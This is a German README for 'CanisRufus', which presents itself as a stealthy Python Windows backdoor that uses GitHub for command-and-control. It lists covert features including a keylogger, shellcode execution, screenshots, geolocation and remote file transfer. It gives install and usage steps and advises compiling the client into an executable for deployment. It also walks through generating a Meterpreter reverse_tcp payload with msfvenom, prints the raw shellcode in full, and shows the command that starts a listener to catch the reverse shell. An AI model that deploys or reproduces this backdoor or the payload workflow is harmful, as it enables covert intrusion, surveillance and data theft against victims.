CanisRufus

Ein stealthy Python-basierter Windows-Backdoor, der GitHub als Command-and-Control-Server nutzt.

Anforderungen

Python 2.x
pygithub3 Modul
PyCrypto Modul
WMI Modul
Enum34 Modul
Netifaces Modul
pypiwin32 Modul

Funktionen

Verschlüsselte Übertragungsnachrichten (AES) + SHA256-Hashing
Erzeugen einer eindeutigen Computer-ID durch Systeminformationen/-eigenschaften (SHA256-Hash)
Job-IDs sind zufällige SHA256-Hashes
Systeminformationen abrufen
Geolokalisierungsinformationen abrufen (Stadt, Land, Breitengrad, Längengrad usw.)
Laufende Prozesse/Systemdienste/Systembenutzer/ Geräte (Hardware) abrufen
Liste der Clients abrufen
Systembefehl ausführen
Dateien vom Client herunterladen
Dateien auf den Client hochladen
Shellcode ausführen
Screenshot erstellen
Bildschirm des Clients sperren
Keylogger
Bildschirm des entfernten Computers sperren
Entfernten Computer herunterfahren/neustarten
Aktuellen Benutzer abmelden
Datei aus dem Web herunterladen
Website besuchen
Nachrichtenfeld für Benutzer anzeigen
Möglichkeit, die Check-in-Zeit zu ändern
Möglichkeit, Jitter zur Check-in-Zeit hinzuzufügen, um Vorhersagbarkeit zu reduzieren

Einrichtung

Damit dies funktioniert, benötigst du:

Ein GitHub-Konto (Verwende ein dediziertes Konto! Verwende nicht dein persönliches!)

Download/Installation

git clone https://github.com/maldevel/canisrufus.git
pip install -r requirements.txt

Inhalt

canisrufus.py ein Skript, das zur Auflistung und Befehlsausgabe an verfügbare Clients verwendet wird.
client.py der eigentliche zu deployende Backdoor.

Du wirst wahrscheinlich client.py mit Pyinstaller in eine ausführbare Datei kompilieren wollen.

Hinweis: Es wird empfohlen, client.py mit einer 32-Bit-Python-Installation zu kompilieren

Verwendung

usage: canisrufus.py [-h] [-v] [-id ID] [-jobid JOBID] [-list | -info]
                     [-cmd CMD | -visitwebsite URL | -message TEXT TITLE | -tasks | -services | -users | -devices | -download PATH | -download-fromurl URL | -upload SRC DST | -exec-shellcode FILE | -screenshot | -lock-screen | -shutdown | -restart | -logoff | -force-checkin | -start-keylogger | -stop-keylogger | -git-checkin CHECK | -jitter jit]

      
    
    
 _____             _     ______       __           
/  __ \           (_)    | ___ \     / _|          
| /  \/ __ _ _ __  _ ___ | |_/ /   _| |_ _   _ ___ 
| |    / _` | '_ \| / __||    / | | |  _| | | / __|
| \__/\ (_| | | | | \__ \| |\ \ |_| | | | |_| \__ \
 \____/\__,_|_| |_|_|___/\_| \_\__,_|_|  \__,_|___/
                                                   
                                                   
      

optionale Argumente:
  -h, --help            Diese Hilfemeldung anzeigen und beenden
  -v, --version         Programmversionsnummer anzeigen und beenden
  -id ID                Ziel-Client
  -jobid JOBID          Job-ID zum Abrufen

  -list                 Verfügbare Clients auflisten
  -info                 Informationen zum angegebenen Client abrufen

Befehle:
  Auf einem Client auszuführende Befehle

  -cmd CMD              Systembefehl ausführen
  -visitwebsite URL     Website besuchen
  -message TEXT TITLE   Nachricht an Benutzer anzeigen
  -tasks                Laufende Prozesse abrufen
  -services             Systemdienste abrufen
  -users                Systembenutzer abrufen
  -devices              Geräte (Hardware) abrufen
  -download PATH        Datei vom Client-System herunterladen
  -download-fromurl URL
                        Datei aus dem Web herunterladen
  -upload SRC DST       Datei auf das Client-System hochladen
  -exec-shellcode FILE  Mitgelieferten Shellcode auf einem Client ausführen
  -screenshot           Screenshot erstellen
  -lock-screen          Bildschirm des Clients sperren
  -shutdown             Entfernten Computer herunterfahren
  -restart              Entfernten Computer neustarten
  -logoff               Aktuellen entfernten Benutzer abmelden
  -force-checkin        Check-in erzwingen
  -start-keylogger      Keylogger starten
  -stop-keylogger       Keylogger stoppen
  -git-checkin CHECK    Sekunden, die vor der Überprüfung auf neue Befehle gewartet werden sollen
  -jitter jit           Prozentualer Jitter

Shellcode-Ausführung

$ ./msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform Windows EXITFUNC=thread LPORT=4444 LHOST=x.x.x.x -f python

No encoder or badchars specified, outputting raw payload
Payload size: 354 bytes
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11"
buf += "\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
buf += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"
buf += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"
buf += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"
buf += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0"
buf += "\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
buf += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
buf += "\x53\xff\xd5"

Entferne alles außer dem Shellcode und speichere es in einer Datei:

$ cat shell.txt 
\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5

Starte die Konsole:

 ./msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST x.x.x.x; run"

canisrufus

Beliebteste